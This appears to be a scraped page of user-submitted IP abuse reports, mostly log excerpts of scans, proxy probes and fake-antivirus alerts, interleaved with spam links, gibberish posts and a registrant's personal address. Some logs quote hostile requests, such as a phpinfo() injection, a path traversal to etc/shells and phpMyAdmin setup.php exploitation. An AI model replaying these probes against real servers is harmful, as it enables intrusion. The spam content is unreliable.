211.144.155.15 90.227.65.7 - [31/Aug/2011:08:40:17 +0000] \"GET /mysql-admin/scripts/setup.php HTTP/1.1\" 403 345 \"-\" \"ZmEu\" 211.144.155.15 90.227.65.7 - [31/Aug/2011...

Several ips from this range try to connect to -all- of our ips on port 80 (probably others too) a few times a day, then try to retrieve a number of other sites by checking if the webserver relays thei...

New Delhi has excelled in <a href=\"http://www.hiprofileescorts.com\">Delhi Escorts</a> Services to provide the most unforgettable escorting experiences to its clientele. L...

<a href=\"http://callgirlsindelhi.biz/\">Delhi Escort</a> call Girls is a distinctive Indian escort agency in New Delhi providing Exclusive escorts and high class escorts ser...

<a href=\"http://www.delhiprimeescorts.com/\">Delhi Escort</a> Service is the definitive guide for anyone looking for amazing, beautiful and playful escort girls for adult fun in...

error_log:[Tue Aug 23 01:01:07 2011] [error] [client 61.92.176.91] File does not exist: /var/www/html/eFIR/catalog/admin error_log:[Tue Aug 23 01:01:15 2011] [error] [client 61.92.176.91] File does no...

ssl_error_log:[Sun Aug 21 22:56:04 2011] [error] [client 218.149.84.37] File does not exist: /var/ww w/html/admin ssl_error_log:[Sun Aug 21 22:56:04 2011] [error] [client 218.149.84.37] PHP Warning: ...

http://support.kaspersky.com/faq/?qid=208283363 This redirects searches in (I had Windows Vista, SP2) and turned out to be a boot sector infection. Ran two iexplore.exe instances without Internet Exp...

Attempted to gain access to my server via brute force ftp attack. Blocked after too many failed attempts to guess the Admin password. ...

4 Ip addresses randomly keeps trying to gain access to my Computer 58.218.199.227 221.192.199.49 ...

This morning someone from this IP address tried to hack into my Tomcat server. Here\'s the log entry 200.41.233.236 - - [10/Aug/2011:11:04:57 -0400] \"GET //jmx-console/HtmlAdaptor HTTP/1.1\&qu...

This is a fake DNS provided by Time Warner Cable on new Road Runner accounts. All traffic gets redirected to https://registration.rr.com/welcome TWC want you to agree to a 12 page EULA as well as a ...

From my log file. Their computer may be infected with some programs. 184.22.108.2 - - [05/Aug/2011:18:24:05 -0400] \"GET http://www.google.com/intl/zh-CN/ HTTP/1.1\" 301 225 \"-\&quot...

I have had this problem for about a month now, searching for an answer to this problem. I found this after coming back from vacation and would hopefully like a solution for this. Soon. The only way I ...

This is a great post. you got <a href=\"http://www.cheap-shoes-online.org\" title=\"cheap shoes online\">cheap shoes online</a> .I like <a href=\"http://www.ch...

During last nigth we have had multible request comming in from 87.118.114.109 over http looking for things like http://xx.yy.zz/phpMyAdmin-x.x.x.x .We don\'t run php on theese servers so there is no g...

99.38.142.15 - - [27/Jul/2011:11:03:16 +0200] \"GET /%7Echandba/smf/index.php?action=post;topic=7117.0;num_replies=0 HTTP/1.0\" 200 361 \"http://83.161.143.182/%7Echandba/smf/index.php?...

This client every six mins load nonexist page in my server. [Tue Jul 26 11:12:40 2011] [error] [client 95.108.158.235] [Tue Jul 26 11:15:51 2011] [error] [client 95.108.158.235] [Tue Jul 26 11:21:45 2...

This scumbag is sending out spam redirects.. Peeps like this should be locked up........ I do not understand how peeps like this are allowed to operate.....

This number is what comes up everytime I click on something on a search engine...http://63.209.69.107/search/web... and also, the website shows up with an S in the corner and says it is a sponsored si...

22/07/2011 09h29m07s IP : 72.55.164.79 - Un utilisateur Banni a tente de se connecte au repertoire /admin/config.php [Fri Jul 22 09:29:07 2011] [error] [client 72.55.164.79] File does not exist: /var...

[Thu Jul 21 01:27:48 2011] [error] [client 128.134.63.163] File does not exist: /var/www/admin 128.134.63.163 - - [21/Jul/2011:01:27:48 +0200] \"GET /admin/cdr/counter.txt HTTP/1.1\" 404 69...

20/07/2011 01h21m49s IP : 112.140.185.111 - Un utilisateur Banni a tente de se connecte au repertoire /admin/cdr/counter.txt [Wed Jul 20 01:21:49 2011] [error] [client 112.140.185.111] File does not ...

http://democratpartylies.com/webalizer/998/beezid-reviews.html beezid reviews, =(((, http://yassinspices.com/smolami/38/vulcan-forum.html vulcan forum, 3819, http://computerservicemission.com/cp/15/...

http://morrison3d.com/Scripts/064/dallas-cad.html dallas cad, 648893, http://abbotsfordbcrealestate.ca/cp/150/planned-parenthood-locations.html planned parenthood locations, =-[, http://autism-thera...

http://broyeurvegetaux.info/hm-locowp/84/franklin-templeton.html franklin templeton, 882, http://midwiveskansascity.com/cp/274/sexual-massage.html sexual massage, bdn, http://secaph.com/cp/70/bible-...

http://run2uworship.org/Scripts/00/forced-toons.html forced toons, jhqc, http://computerrepairmission.com/images/76/baldwin-hardware.html baldwin hardware, 889058, http://jrtutors.com/Do Not Open/14...

user of this ip address hacked my gmail account and send abusive email and scraps over orkut please take an action immediately...

http://365super.com/images/013/kingston-memory.html kingston memory, 68582, http://nonliberalnews.com/cp/43/ramada-inn-locations.html ramada inn locations, 639, http://nailedproductions.com/cp/15/tr...

http://kansascityremodeler.com/cp/89/cultural-diversity.html cultural diversity, >:D, http://spider-trap.info/cp/695/nelsonville-ohio.html nelsonville ohio, =[, http://speakoutnow-america.net/cp/86/...

http://ozarkwoodcarver.com/wp-admin/671/snake-sex.html snake sex, :-]], http://cellphonesnw.com/script/147/sansa-media-converter-download.html sansa media converter download, 190, http://dmxweb.com/...

http://hotelwilliamslake.com/cp/714/super-surge-games.html super surge games, guunrk, http://crushingplant.info/Templates/544/beastailitly-tube.html beastailitly tube, vcgegh, http://nayanth.com/cgi...

http://inmyfathershouse.info/webalizer/634/international-trucks.html international trucks, kuxv, http://fresnolatinorotary.org/test/03/us-postal-zip-codes.html us postal zip codes, joj, http://nutri...

http://brickmachine.info/brick/08/guthy-renker.html guthy renker, ijuzsu, http://if-yourin-yourout.com/wordpress/91/mercedes-benz.html mercedes benz, 01281, http://if-yourin-yourout.info/modlogan/02...

http://patelinfraenergy.com/webalizer/44/examples-of-analogy-essay.html examples of analogy essay, :DD, http://parqueacuaticoguastatoya.com/home/471/night-time-transport-essex.html night time transpo...

http://bop-kats.com/modlogan/681/sexy-fat-chicks.html sexy fat chicks, 516459, http://divinestudios.ws/wp-admin/228/amateur-porn-links.html amateur porn links, dcr, http://simritadhillon.com/style/5...

Repeated requests for admin scripts such as 72.11.128.37 - - [29/Sep/2010:17:03:01 +1000] \"GET /scripts/setup.php HTTP/1.1\" 404 471 \"-\" \"ZmEu\" 72.11.128.37 - - [29/Sep/2010:17:03:01 +1000] \"G...

The signature fires when the HTTP CONNECT method is detected. This indicates the attempted use of a HTTP proxy. Attackers often try to use unsecured HTTP proxies obscure their true location when attac...

"GET //phpMyAdmin/ HTTP/1.1" 404 468 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"...

"GET /user/soapCaller.bs HTTP/1.1" 404 470 "-" "Morfeus Fucking Scanner"...

This IP is repeatgedly attempting to use my web server as a proxy to get the page http://spam-chaos.com/pp/set-cookie.php (which is a link back to the IP) I suspect some fraud behind that, but I ca...

Frequent HTTP Tidserv Requests ...

14/09/2010 06:29:39 AM Opened TCP/IP connection from 95.172.9.74,55874 to x.x.x.x,25 14/09/2010 06:29:39 AM Opened TCP/IP connection from 95.172.9.74,55875 to x.x.x.x,25 14/09/2010 06:29:39 AM Opene...

Server logs report this access GET 'http://216.245.205.74/judge.php...

Yet again, this individual tried to commit WOW fraud using my gmail....

Here are the logs: 200.69.206.202 - - [05/Sep/2010:17:33:31 +0000] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 1938 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )" 20...

While I was on Myspace I was posting a blog when all of the sudden I received a notification by my anti-virus saying someone was trying to intrude and attack my computer with a fake scan on the same w...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

trying all kinds of HTTP requests...

IP has requested: 188.173.31.6 - - [27/Aug/2010:23:59:09 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 173 "-" "-" This appeared in /var/logs/nginx/localhost.access.log...

/var/log/apache2/access.log:88.191.59.183 - - [24/Aug/2010:05:51:08 +0000] \\\"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1\\\" 404 1575 \\\"-\\\" \\\"ZmEu\\\" /var/log/apache2/access.log:...

213.71.31.241 Source Port: 4413 Destination IP: xxx.xxx.xxx.218 Destination Port: 443...

Norton keeps spaming my computer with virus intrusion alerts and its spamming at minium 5 times an hour >_> I\'ve gotten 22 intrusions yesterday alone >_>...

Server logs report this access GET 'http://216.245.205.74/judge.php on port 8080...

[error] [client 65.99.193.194] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)...

multiple entries in my log file http://216.245.205.74/judge.php ...

14:37:09.556772 IP 213.71.31.241.4874 > f4f03.first4farming.com.au.https: . ack 1 win 17520 14:37:09.556811 IP 213.71.31.241.4874 > f4f03.first4farming.com.au.https: P 1:38(37) ack 1 win 17520 14:37...

17/08/2010 10:41:16 AM Opened TCP/IP connection from 213.71.31.241,2213 to x.x.x.x,80 17/08/2010 10:41:16 AM Opened TCP/IP connection from 213.71.31.241,2215 to x.x.x.x,80 17/08/2010 10:41:16 AM Ope...

firewall blocked this adress...

firewall blocked this adress...

making bogus requests to the webserver. An example is below: 89.106.8.141 - - [16/Aug/2010:13:21:15 +0200] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 349 "-" "-" The count for today is al...

REQUEST_URI=http://216.245.205.74/judge.php...

POST /phpMyAdmin/scripts/setup.php HTTP/1.1 For 2.x version phpMyAdmin is allowed save dd_ssh in temp directory and then run it....

[type=HTTP-Inspection(8119016)] OVERSIZE-CHUNK-ENCODING ATTACK...

[type=HTTP-Inspection(8119008)] MULTI-SLASH-ENCODING ATTACK...

Since I opened my website in may, this IP has beed trying (it doesn't work) to use my web server as a proxy for yahoo login, probably for malicious purposes (brute force yahoo?) Here are log extrac...

2010-08-05 05:03:24 [type=HTTP-Inspection(8119009)] IIS-BACKSLASH-EVASION ATTACK...

::ffff:202.102.234.71 proxy.adsweet.com - [15/Jul/2010:08:06:17 +0000] "GET http://proxy.adsweet.com/proxyheader.php HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"...

Injects spam mails through webmail sytem....

A fake Av scanner telling me I have Trojans and asking me to download the program to remove it. ...

Activity: An intrusion attempt by 94.102.49.146 was blocked. Application path \\\\DEVICE\\\\HARDDISKVOLUME1\\\\PROGRAM FILES\\\\INTERNET EXPLORER\\\\IEXPLORE.EXE Date & Time: 16.Jul.10 10:28:53...

221.192.199.35 - - [13/Jul/2010:17:01:07 -0400] \"GET http://www.wantsfly.com/prx2.php?hash=58E2922A92A678904432C098005031F642711F620D97 HTTP/1.0\" 404 529 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; W...

58.218.204.110 - - [10/Jul/2010:05:18:26 -0400] "GET http://proxy.adsweet.com/proxyheader.php HTTP/1.1" 404 537 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"...

6/30/2010 12:27:42 PM Detected: Intrusion.Win.MSSQL.worm.Helkern UDP from 211.139.255.29 to local port 1434. Costant attacks from this IP during this month....

Constant attacks from this IP Address. Must originate from malware on my computer....

Seems to be the owner of fake Antivirus software as attacks happend once infected with said software. Symantec blocks its requests. Obtained this antivirus program by simply visiting www.evilmilk....

This thread is funny...

I have received numerous "attacks" from this IP address in the past couple of days. In the past 15 min. that I have been online this evening, I have gotten no less than 3 attempts from this address. ...

On May 23rd at 20:33, May 28th at 11:33 and May 31st at 13:33, my internet security prevented this ip adress from intruding on to my computer. The security program described this treat as a high risk ...

On May 23rd at 20:33, May 28th at 11:33 and May 31st at 13:33, my internet security prevented this ip adress from intruding on to my computer. The security program described this treat as a high risk ...

Jun 6 02:38:45 localhost kernel: ipfw: ##### Deny TCP 121.120.62.140:49608 4.154.27.191:8080 in via ppp0 Jun 6 02:38:47 localhost kernel: ipfw: ##### Deny TCP 121.120.62.140:49609 4.154.27.191:8080...

66.244.111.55 - - [22/May/2010:19:15:49 -0400] "GET http://login.yahoo.com/config/isp_verify_user? HTTP/1.0" 404 9107...

This person attempts to access my server as a proxy on almost a daily basis, twice today. Can we do something about this? There has got to be someone who can shut him down, legally or illegaly I don...

Help! How do I file a criminal complaint to the police. It keeps popping up on my screen "Warning! Identity theft detected" i have windows 7 on my computer and don't know what to do. Then it has a but...

How do I file a legal complaint against this organization? They should be locked in a little 6X6 room for eternity! Trying to sell MAL/ADWARE, etceteras....

How do I file a legal complaint against this organization? They should be locked in a little 6X6 room for eternity!...

219.232.240.214 - - [10/May/2010:10:08:08 +0100] \"GET /TFOH/index.html HTTP/1.1\" 401 496 219.232.240.214 - - [10/May/2010:10:08:09 +0100] \"GET /TFOH/index.html HTTP/1.1\" 401 496 219.232.240.214 ...

My NIS says that the address 61.61.20.132 trying to hack my PC (HTTPS Tidserv Request) ...

My NIS says that the address 213.163.89.106 trying to hack my PC (HTTPS Tidserv Request)...

My NIS says that the address 213.163.89.106 trying to hack my PC (HTTPS Tidserv Request)...

This IP was trying to add a /etc/shells in my conf. log file is: 74.205.241.29 - - [23/Apr/2010:18:31:08] "POST /unauthenticated/..\x01/ etc/shells HTTP/1.1" 411 734 "" "Conf"...

Norton picks up HTTP fake antivirus installation request V4...

Norton picks up HTTP fake antivirus installation request V4...

67.18.213.122 just tried to send me a Trojan using google analytics web address...

May 1 17:55:47 localhost kernel: ipfw: ##### Deny TCP 188.120.34.122:49339 12.76.233.251:3128 in via ppp0 May 1 17:55:47 localhost kernel: ipfw: ##### Deny TCP 188.120.34.122:49340 12.76.233.251:80...

I keep getting alerts about this IP being blocked by ESET whenever i use firefox. my IE and Chrome browsers cannot connect to the internet at all. They cannot open any URL...

91.213.157.52, 80...

The IP address 173.233.65.154 has been sending suspicious requests to several web servers. We are attempting to determine whether or not this is an attempted DOS attack or merely a screen-scraping op...

google.analytics.fhccvgjohscc.info, via internet exploder 8.0. Windows 7, Norton AV -...

This IP is sending code to my webserver, preumably to find out the response. I've had to add it to my black list....

Found links using 221.1.222.162 in a fake Paypal email requesting a user name and password. The email claimed that \\\\\\\"we have seen multiple computers logging into your account\\\\\\\" and reques...

HTTP FakeAV Webpage Request Attacking computer: 85.12.44.162, 80 Attacker URL: 85.12.44.162/index.php? q=6aede23e9bef5dd5539a6c0e51aaddd59110220 Traffic description: TCP www-http Network ...

An intrusion attempt by 91.212.127.110 was blocked. The path led to Acrobat 7.0/READER/ACRORD32.exe attacker URL wordsmistery.com ...

91.213.157.33- Browser based virus scan scam A small window pops up informing the user of a virus or trojans. If you move this window, you'll see a browser window, reduced in size. Basically hidi...

Watching a Star Wars video this page took over the browser and appeared to be scanning. Claimed computer infected with various malware....

appeared to come on the screen when playing games called bouncing balls on the facebook site.it will show that trojans etc have invaded your comp and it will not let you cancel the page via the X or t...

appeared to come on the screen when playing games called bouncing balls on the facebook site.it will show that trojans etc have invaded your comp and it will not let you cancel the page via the X or t...

Just received an attempt from this page to scan my computer - stated that i have several viruses and trojans. Kaspersky 2010 did NOT identify this and let it through....

Norton Internet Security has blocked, on numorous occasions, a fake HTTP attack from this IP. It is a fake page that shows you are "infected" with an ungodly amout of viruses and need imediate help, ...

---------------------------------------- Alert Summary ---------------------------------------- Severity: High Activity: An intrusion attempt by 85.12.44.162 was blocked Dat...

The usual nonsense, making a request with "wantsfly.com" as the Host header, which my server isn't 221.192.199.35 - - [13/Apr/2010:14:43:13 -0400] HOSTNAME "GET http://www.wantsfly.com/prx2.php?has...

Regular attempts to seek out domain not related to my server. 124.232.152.116 - - [05/Apr/2010:14:19:10 +0100] \"GET http://www.wantsfly.com/prx2.php?hash=14A3203499CA24153E31BEC8005019C7771E78904B...

[client 117.41.167.192] script '/var/www/html/prx2.php' not found or unable to stat...

[Tue Mar 23 10:43:17 2010] [error] [client 77.243.225.234] script \'/var/www/html/thisdoesnotexistahaha.php\' not found or unable to stat [Tue Mar 23 10:43:17 2010] [error] [client 77.243.225.234] Fi...

[Thu Mar 25 12:36:34 2010] [error] [client 94.9.58.201] Invalid method in request of\\xc4{\\x9d\\x13\\xbd\\xbd\\x837(V[<_\\xe0\\xe3...

GET http://www.wantsfly.com/prx2.php?hash=0FA871D8CFB16CF4D9C7B1540050DDE90AD6B9DFFFBA A couple of times in my log. It's an attempt to scan for open http proxies....

GET http://www.wantsfly.com/prx2.php?hash=0FA871D8CFB16CF4D9C7B1540050DDE90AD6B9DFFFBA A couple of times in my log. It\'s an attempt to scan for open http proxies....

GET http://www.wantsfly.com/prx2.php?hash=0FA871D8CFB16CF4D9C7B1540050DDE90AD6B9DFFFBA A couple of times in my log. It\'s an attempt to scan for open http proxies....

GET http://www.wantsfly.com/prx2.php?hash=0FA871D8CFB16CF4D9C7B1540050DDE90AD6B9DFFFBA A couple of times in my log. It's an attempt to scan for open http proxies. ...

trying to use my server - asian monkey. Every couple of days I get 2 hits - probably automated....

2010-03-08 11:08:14 MS04-028 JPEG Segment Length Integer Underflow by http-1 212.47.171.49...

Hello, Be careful of this website tourdevietnam.com Here\'s the name of picture from google.com image: Estelle Parsons 369 x 594 - 47k - jpg tourdevietnam.com Find similar images. I was looking...

A Robot is continually entering values into search field....

Norton Internet Security blocked this attack today. At the time, I was viewing a photo of the earthquake damage in Chile posted on Space.com and hit the Back button to return to the original article. ...

RQ1f6n http://jf4Gqm84hEQsl0dy2Pu3b.org...

RQ1f6n http://jf4Gqm84hEQsl0dy2Pu3b.org...

An attempt to attack my computer with a Fake Antivirus install request occurred from 178.32.68.65 2/24/2010 5:46 pm EST Norton Internet Security blocked this while I was in Facebook photo album se...

An attempt to attack computer with Fake antivirus install request several times on 2/23/2010 and once 2/24/2010. 178.32.68.65/index.html...

An attempt to attack my computer with a Fake Antivirus install request occurred from 178.32.68.65, 80. ...

Attempting to use \\\"w00tw00t.at.ISC.SANS.DFind\\\" vulnerability...

Attempting to use \"w00tw00t.at.ISC.SANS.DFind\" vulnerability...

To scan incoming IP's for vulnerabilities. Multiple attempts at VNC login...

Another vulnerability scanner.. /w00tw00t.at.ISC.SANS.DFind:) so annoying......

Someone using the stupidest "Toata dragostea mea pentru diavola" vulnerability scanner is trying to know if my server is or not vulnerable!...

151.1.24.194 is looking around for config.inc.php...

autobanned, then new IP showed up doing same thing. 174.129.88.80 ...

This is showing up in my log file. 125.65.112.161 - - [15/Jan/2010:09:14:43 -0800] \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"GET http://freestuff-site.com/prx1.php?hash=96399AE74E61C7B13FC1D7CA005025172A1592...

This is showing up in my log file. 125.65.112.161 - - [15/Jan/2010:09:14:43 -0800] \\\\\\\\\\\\\\\"GET http://freestuff-site.com/prx1.php?hash=96399AE74E61C7B13FC1D7CA005025172A15924DA092 HTTP/1.0\...

This is showing up in my log file. 125.65.112.161 - - [15/Jan/2010:09:14:43 -0800] \\\"GET http://freestuff-site.com/prx1.php?hash=96399AE74E61C7B13FC1D7CA005025172A15924DA092 HTTP/1.0\\\" 404 206...

Hi guys. Nothing great in the world has been accomplished without passion. Help me! Need information about: Basis conditions are also coverage patents for patients, and should back be needed as pediat...

154.74.211.81...

Received: from secure.igroupservers.org (root@localhost) by provoli.gr (8.13.1/8.13.1) with ESMTP id nAJ2tTMa018478 for <info@provoli.gr>; Thu, 19 Nov 2009 04:55:29 +0200 From: Provoli Communicat...

67.195.111.34 is requesting continuously (hundreds of times per day) porn which is not located on our client's site...

Don't know how the hell they got my domain name, but my website has gotten 3 hostile requests from this idiot....

This person keeps changing thier IP and coming to my server and harrassing and threating my members...

This person keeps changing thier IP and coming to my server and harrassing and threating my members...

emails sent to personal account have a website linked that points back to this ip address. the site amazinghomework.net...

The physicist and the chemist, investigating inanimate matter, have never witnessed phenomena which they had to interpret in this way. ,...

p7ZGEH http://obk7W1mQkfiVvap7dGsp.net...

p7ZGEH http://obk7W1mQkfiVvap7dGsp.net...

p7ZGEH http://obk7W1mQkfiVvap7dGsp.net...

This ip is responsible for hundreds of spam comments on my wordpress blog.. ...

This IP has been trying to connect to my own server software trying to see if it will act as a proxy, below is HTTP headers sent to me... --------------- User Connected: 61.160.216.63, 9 HTTP ...

AN INTRUSION ATTEMPT BY NGU.FROWE.INFO WAS BLOCKED APPLICATION PATH DEVICE HARDDISK VOLUME 2 IN MOZILLA FIREFOX HELP PLEASE SOMEBODY CAN STOP IT? THANKS...

This IP address hacked into my account around 10.30AST and sent out the following message to my entire contact list and a number of other address. Hey!Thanks for mailing me back, I just recently mo...

INDENTIFICATION: This e-mail was sent to you by Banco do Brazil´s Computer Security Incident Response Team (CSIRT). Banco do Brasil is the largest bank in Brazil, South America. Our web site is lo...

wIERD, I DIDNT KNOW THEY COULD DO THAT..... a fAKE ANTIVIRUS WAS ATTEMPTING TO HACK MY COMPUTER. rISK NAME- HTTP fake scan webpage severity-ooO high aTTACKING COMP- 98.204.229.217, 55053 aTACKING ...

copying googles pages, like www.google.fr...

Get daily attack from 222.208.183.147 trying to mod_proxy \"GET http://www.graduateszone.com/prx1.php?hash=20B21A40...\"...

Give Peace a chance http://mscript.kernel.lv/abs/tmp/nude/index4.html http://forum.jobscentral.com.sg/member.php?u=76 http://web082.asp.lv/Img/Limg/tmp/tube-porn/index1.html http://forum.jobscentr...

kacking mail+banking...

every time I log on to a sight through mozilla fire fox or open certian apps on my computer internet explorer will try to open with this address....

i got this blocked about 5 mins ago if u know were this is coming from maybe u should do some thing about it dont ya think !!!!...

This People is spamming my website and writing bad words...

According to norton anti virus this was a high risk attack attempt from this ip...

fugıuuıo hhıuojık nıkjkopkop...

this person scammed me out of money and lied about where they were from and now I have had multiple viruses etc. on my computer....

jhfhgf...

[Tue Jun 03 02:22:54 2008] [error] [client 62.193.238.113] client denied by server configuration: /home/ddream 62.193.238.113 - - [03/Jun/2008:02:22:54 -0400] \"GET http://64.21.125.123/~ddream/cgi...

2008/03/02 00:29:16 ** Unauthorized HTTP Access ** <IP/TCP> 75.125.194.98:46373 2008/03/02 00:29:19 ** Unauthorized HTTP Access ** <IP/TCP> 75.125.194.98:46373 2008/03/02 00:29:25 ** Unauthorized HTT...

* Unauthorized HTTP Access ** ...

** Unauthorized HTTP Access **...

** Unauthorized HTTP Access ** ...

** Unauthorized HTTP Access **...

** Unauthorized HTTP Access ** ...

2008/02/21 01:33:06 ** Unauthorized HTTP Access ** <IP/TCP> 219.133.59.171:12200 ->> 71.205.148.138:80 2008/02/21 02:44:59 ** Unauthorized HTTP Access ** <IP/TCP> 219.133.59.171:12200 ->> 71.205.148.1...

they are repeatedly asking for web address http://viagara.viagaraa.info/index.html to be added to a model engineering website (totally unrelated) refusing to add a meaningful description just enteri...

I do not know what his real name is but he goes by the nick bobby_is_so_special on Yahoo! chat. He currently is showing pornographic material from his computer to minors as well as telling me that he ...

Domain name: miracle2008.co.uk Registrant: Angela Solomon Registrant type: UK Individual Registrant\'s address: 1308 20 Palace Street ...

[part1] http://www.wikiupload.com/download_page.php?id=42203...

[part2] http://www.wikiupload.com/download_page.php?id=42196...